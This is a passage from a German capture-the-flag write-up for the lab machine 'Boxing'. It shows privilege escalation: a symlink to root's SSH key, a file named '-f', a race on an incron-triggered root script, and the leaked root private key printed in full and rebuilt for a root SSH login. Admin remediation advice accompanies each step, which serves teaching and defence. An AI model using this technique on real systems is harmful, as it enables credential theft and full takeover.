**Analyse:** Als Benutzer `cassius` werden die Vorbereitungen für den Incron-Exploit getroffen: 1. `touch -- -f`: Erstellt eine leere Datei mit dem ungewöhnlichen Namen `-f`. Das `--` verhindert, dass `-f` als Option interpretiert wird. 2. `ln -sf /root/.ssh/id_rsa rootrsa`: Erstellt den symbolischen Link `rootrsa`, der auf den privaten SSH-Schlüssel von Root zeigt.

**Bewertung:** Korrekte Vorbereitungsschritte für den Exploit.

**Empfehlung (Pentester):** Starte nun die Kopierschleife und triggere den Incron-Job.
**Empfehlung (Admin):** Keine spezifischen Maßnahmen für diesen Schritt.

Trigger des Incron-Jobs und Ausnutzung der Race Condition zum Kopieren der Logdatei.

cassius@boxing:~$ chmod 700 user.txt ; while true ; do cp /opt/sos/logs/output-logs.txt . ; done

**Analyse:** Dieser Befehl kombiniert zwei Aktionen: 1. `chmod 700 user.txt`: Ändert die Berechtigungen von `user.txt`. Dies löst die `incron`-Regel `IN_ATTRIB` aus, woraufhin `/opt/sos/sos.sh` als Root ausgeführt wird. 2. `while true ; do cp /opt/sos/logs/output-logs.txt . ; done`: Startet eine Endlosschleife, die versucht, die Logdatei `/opt/sos/logs/output-logs.txt` (die von `sos.sh` beschrieben wird) kontinuierlich in das aktuelle Verzeichnis (`/home/cassius`) zu kopieren. Ziel ist es, die Datei zu erwischen, nachdem `sos.sh` den Schlüssel hineingeschrieben hat, aber bevor es `chmod 700` darauf anwendet.

**Bewertung:** Korrekte Methode zur Auslösung des Incron-Jobs und zur Ausnutzung der Race Condition, um die Logdatei mit den Root-Berechtigungen zu kopieren.

**Empfehlung (Pentester):** Überprüfe die kopierte Logdatei auf den Inhalt des Root-SSH-Schlüssels.
**Empfehlung (Admin):** Behebe die Incron-Fehlkonfiguration.

Anzeige des Inhalts der kopierten Logdatei, die den privaten SSH-Schlüssel enthält.

cassius@boxing:~$ head -n 100 output-logs.txt
-----BEGIN OPENSSH PRIVATE KEY-----:                                    cannot open `-----BEGIN OPENSSH PRIVATE KEY-----' (No such file or directory)
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn: cannot open `b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn' (No such file or directory)
NhAAAAAwEAAQAAAYEAkCCrCRmGy14hu1qi9J8dDoKUkmRuaPtO2ToC3S/aexmwuG0Q4i65: cannot open `NhAAAAAwEAAQAAAYEAkCCrCRmGy14hu1qi9J8dDoKUkmRuaPtO2ToC3S/aexmwuG0Q4i65' (No such file or directory)
NmYTJpLM/2q2gamZ3GcMx843wLxmPzyhIvb03Zv6e5FgP7splW9CGRiShrMlfGgqZ8GRyU: cannot open `NmYTJpLM/2q2gamZ3GcMx843wLxmPzyhIvb03Zv6e5FgP7splW9CGRiShrMlfGgqZ8GRyU' (No such file or directory)
BAWanDaQ4kMaAtVXeUxuLg5lkcQwIo+obGujOPfyfB0H949LwvEjEo++1VvohckzSl+8R9: cannot open `BAWanDaQ4kMaAtVXeUxuLg5lkcQwIo+obGujOPfyfB0H949LwvEjEo++1VvohckzSl+8R9' (No such file or directory)
vbSum/tLq4LWP9SVRlHqfoYxKGVRCyIoE5bsk/8cBIOtfqhHRWjMrD308VMBkSdVHYi/Xu: cannot open `vbSum/tLq4LWP9SVRlHqfoYxKGVRCyIoE5bsk/8cBIOtfqhHRWjMrD308VMBkSdVHYi/Xu' (No such file or directory)
l9IG2QItmAqy+i8y1VtsIv5DrFPEKHywzRculHNncW1xlByOsdzp1e1fy/SE+J7U1ybU2X: cannot open `l9IG2QItmAqy+i8y1VtsIv5DrFPEKHywzRculHNncW1xlByOsdzp1e1fy/SE+J7U1ybU2X' (No such file or directory)
xC24eSrCTmziep+zNrJf6+iRydSpBupBQYCicvN/7DI9AX0e1kB7TK9m6KOkgV+ZitIyq2: cannot open `xC24eSrCTmziep+zNrJf6+iRydSpBupBQYCicvN/7DI9AX0e1kB7TK9m6KOkgV+ZitIyq2' (No such file or directory)
ySuChX2s9nvBrH3o/KboyhxAQzh/uGLq4VQvpucE3VgwTankj169/eKluKYh8CjE4KECoy: cannot open `ySuChX2s9nvBrH3o/KboyhxAQzh/uGLq4VQvpucE3VgwTankj169/eKluKYh8CjE4KECoy' (No such file or directory)
MCWROF55q40MZ63ETYQf1H397I3K0K+LQtle3BV9AAAFiAwmGxQMJhsUAAAAB3NzaC1yc2: cannot open `MCWROF55q40MZ63ETYQf1H397I3K0K+LQtle3BV9AAAFiAwmGxQMJhsUAAAAB3NzaC1yc2' (No such file or directory)
EAAAGBAJAgqwkZhsteIbtaovSfHQ6ClJJkbmj7Ttk6At0v2nsZsLht
......
.....
....
...
..
.
           
soRXxjA5g9dZrTAAAAC3Jvb3RAYm94aW5nAQIDBAUGBw==:                         cannot open `soRXxjA5g9dZrTAAAAC3Jvb3RAYm94aW5nAQIDBAUGBw==' (No such file or directory)
-----END OPENSSH PRIVATE KEY-----

**Analyse:** Die ersten 100 Zeilen der kopierten Logdatei (`output-logs.txt`) werden angezeigt. Das Skript `/opt/sos/sos.sh` wurde offensichtlich durch die Attributänderung an `user.txt` als Root getriggert. Es wechselte nach `/home/cassius` und führte dort `file *` aus. Der `file`-Befehl versucht, den Dateityp zu bestimmen. Bei dem Symlink `rootrsa`, der auf `/root/.ssh/id_rsa` zeigt, liest `file` den Anfang des privaten Schlüssels, um den Typ zu bestimmen. Da die Zeilen des Schlüssels keine gültigen Dateinamen sind, gibt `file` für jede Zeile die Fehlermeldung "cannot open '...' (No such file or directory)" aus, *nachdem* es den Inhalt der Zeile selbst ausgegeben hat. Dadurch wird der Inhalt des privaten Schlüssels von Root in die Logdatei geschrieben.

**Bewertung:** Kritisch. Der private SSH-Schlüssel von Root wurde erfolgreich durch die Incron-Fehlkonfiguration und die Race Condition exfiltriert.

**Empfehlung (Pentester):** Rekonstruiere den SSH-Schlüssel aus dieser Logdatei (entferne die Fehlermeldungen). Speichere ihn, setze `chmod 600` und logge dich als Root via SSH ein.
**Empfehlung (Admin):** **Dringend:** Entferne die Incron-Regel. Überprüfe das System auf weitere unsichere Konfigurationen. Widerrufe/Ersetze den kompromittierten Root-SSH-Schlüssel.

Rekonstruktion des privaten SSH-Schlüssels aus der exfiltrierten Logdatei.

┌──(root㉿cyber)-[~] └─# cat sshroot| awk '{print $1}' | tr -d ":"
-----BEGIN
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
-----END
┌──(root㉿cyber)-[~] └─# echo '-----BEGIN OPENSSH PRIVATE KEY-----' > rootkey
┌──(root㉿cyber)-[~] └─# echo '-----END OPENSSH PRIVATE KEY-----' >> rootkey
┌──(root㉿cyber)-[~] └─# vi rootkey

**Analyse:** Der private SSH-Schlüssel wird aus der (vermutlich in `sshroot` gespeicherten) Logdatei extrahiert und rekonstruiert: 1. `cat sshroot | awk '{print $1}' | tr -d ":"`: Extrahiert das erste Feld jeder Zeile (den Schlüsselteil) und entfernt Doppelpunkte, die von der `file`-Ausgabe stammen könnten. 2. Die Zeilen `-----BEGIN OPENSSH PRIVATE KEY-----` und `-----END OPENSSH PRIVATE KEY-----` werden manuell zu einer neuen Datei `rootkey` hinzugefügt. 3. Der extrahierte Schlüsselinhalt wird (vermutlich mit `vi`) zwischen die Begin/End-Markierungen in `rootkey` eingefügt.

**Bewertung:** Erfolgreiche Rekonstruktion des privaten SSH-Schlüssels von Root.

**Empfehlung (Pentester):** Setze die korrekten Dateiberechtigungen für `rootkey` (`chmod 600`) und verwende ihn für den SSH-Login als Root.
**Empfehlung (Admin):** Keine spezifischen Maßnahmen für diesen Schritt, außer den bereits genannten.

Setzen der korrekten Berechtigungen für die Schlüsseldatei und SSH-Login als Root.

┌──(root㉿cyber)-[~] └─# chmod 600 rootkey
┌──(root㉿cyber)-[~] └─# ssh root@boxing.hmv -i rootkey
The authenticity of host 'boxing.hmv (192.168.2.114)' can't be established.
ED25519 key fingerprint is SHA256:wQ4AA13WzS+DnZ3CX93jGyXamANQ1waSb5GMik3XS1k.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'boxing.hmv' (ED25519) to the list of known hosts.
Linux boxing 6.1.0-17-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.69-1 (2023-12-30) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Feb  4 17:19:34 2024 from 192.168.0.30
root@boxing:~# 
root@boxing:~# cat root.txt
19ed17ba1da85521ce659aeeb5ecd751

**Analyse:** 1. Mit `chmod 600 rootkey` werden die erforderlichen restriktiven Berechtigungen für den privaten Schlüssel gesetzt. 2. Der SSH-Login als `root` zum Ziel `boxing.hmv` wird mit der Schlüsseldatei `rootkey` versucht (`ssh root@boxing.hmv -i rootkey`). 3. Nach Bestätigung des Host-Schlüssels erfolgt der Login erfolgreich ohne Passwortabfrage. 4. Die Root-Flag wird aus `/root/root.txt` gelesen: `19ed17ba1da85521ce659aeeb5ecd751`.

**Bewertung:** Kritisch (Erfolg). Die Privilege Escalation über die Incron-Schwachstelle war erfolgreich und führte zu Root-Zugriff.

**Empfehlung (Pentester):** Test erfolgreich abgeschlossen. Dokumentiere die Ergebnisse und den Exploit-Pfad.
**Empfehlung (Admin):** **Höchste Priorität!** System ist kompromittiert. Alle vorherigen Empfehlungen (Incron, LFI, SSRF, Datenbank-Exposition, schwaches Passwort für Cassius, SSH-Härtung) umsetzen. Neuinstallation dringend empfohlen.

Abschließende Erfolgsmeldung.

Privilege Escalation erfolgreich

**Analyse:** Bestätigt den erfolgreichen Abschluss der Privilegienerweiterung.

**Bewertung:** Formale Bestätigung des Erfolgs.

**Empfehlung (Pentester):** Dokumentation abschließen.
**Empfehlung (Admin):** Maßnahmen einleiten.

Flags

cat /home/cassius/user.txt
a2b3946358a96bb7a92f61a759a1d972
cat /root/root.txt
19ed17ba1da85521ce659aeeb5ecd751